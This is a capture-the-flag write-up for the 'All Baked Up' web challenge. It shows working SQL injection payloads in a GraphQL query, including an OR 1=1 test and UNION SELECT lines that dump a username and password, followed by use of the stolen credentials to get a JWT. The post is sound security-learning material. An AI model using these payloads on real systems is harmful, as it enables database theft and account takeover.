GET /flag

All Baked Up

The All Baked Up challenge was a medium web challenge written by congon4tor. It was solved by 114 players and gave 359 points.

Grandma always knew how to make tried-and-true baked goods, and these recipes prove it!

Press the Start button on the top-right to begin this challenge.

After pressing the Start button, a link appears to this website:

Website screenshot

Screenshot of the website

Clicking on a ‘View Details’ button leads to a site containing a recipe and the cake’s name in the URL (http://challenge.ctf.games:32648/post/Strawberry%20Cake). The second recipe contains a single ' in it’s name, which caused it’s detail site to not load properly. This points to a SQLI vulnerability. Taking a look at the DevTools Console also revealed a GraphQL error while processing that query.

When analyzing the HTTP traffic with burpsuite, we can see a POST request to the /graphql endpoint with the following data:

{
	"operationName":"UserQuery",
	"variables":{
		"name":"Strawberry Cake"
	},
	"query":"query UserQuery($name: String!) {\n  post(name: $name) {\n    id\n    name\n    image\n    content\n    author {\n      username\n      __typename\n    }\n    __typename\n  }\n}\n"}

Here we can see again our recipe name. After sending it to the repeater, we can edit the data and observe the server’s response.

SQL injection

To validate the SQLI vulnerability via the recipe name, we could try this payload:

{
    "operationName": "UserQuery",
    "variables": {
        "name": "Strawberry Cake' OR 1=1 OR '"
    },
    "query": "query UserQuery($name: String!) {\n  post(name: $name) {\n    id\n    name\n    image\n    content\n    author {\n      username\n      __typename\n    }\n    __typename\n  }\n}\n"
}

The response contains an array of all recipes. So we have some sort of SQLI.

Using PortSwigger’s SQLI cheat sheet we can try to gain further information about the DB.

Using a UNION and a simple SELECT allowed me to identify the positions I could use to leak data.

' UNION SELECT 1,2,3,4,5,6 -- 

This payload verified that the DB was a sqlite DB.

' UNION SELECT 1,(SELECT sqlite_version()),3,4,5,6 -- 

It was rather easy to get a username and password, after finding the users table. The following payload retrieved the credentials of the only user:

' UNION SELECT 1,(SELECT username FROM users LIMIT 1 OFFSET  0 ),(SELECT password FROM users LIMIT 1 OFFSET  0 ),4,5,6-- 
{
    "data": {
        "post": [
            {
                "__typename": "Post",
                "author": {
                    "__typename": "User",
                    "username": "6"
                },
                "content": "4",
                "id": 1,
                "image": "congon4tor",
                "name": "n8bboB!3%vDwiASVgKhv"
            }
        ]
    }
}

graphql

The flag was nowhere to be found in the database. Instead it was accessible via graphql. The payloads from swisskyrepo/PayloadsAllTheThings proved to be very helpful to enumerate the endpoint.

Back in burpsuite we can now query for the flag:

{
	"query":"query{flag}"
}

But we get an error message: error authenticating user: invalid token

After asking the author for hints and researching how authentication is usually implemented with graphql, I came to this solution:

{
    "operationsName": "Auth",
    "query": "mutation Auth($user: String!, $pass: String!){ authenticateUser(username: $user, password: $pass){token}}",
    "variables": {
        "user": "congon4tor",
        "pass": "n8bboB!3%vDwiASVgKhv"
    }
}

This gave back a JWT token for the user congon4tor.

Lastly, we have to perform the same query from before, but supply the token via the Authorization: header.

Authorization: Bearer eyJhbGciOi [...] pgL6b1E

(Do not add quotation marks around the token! That wasted a lot of time…)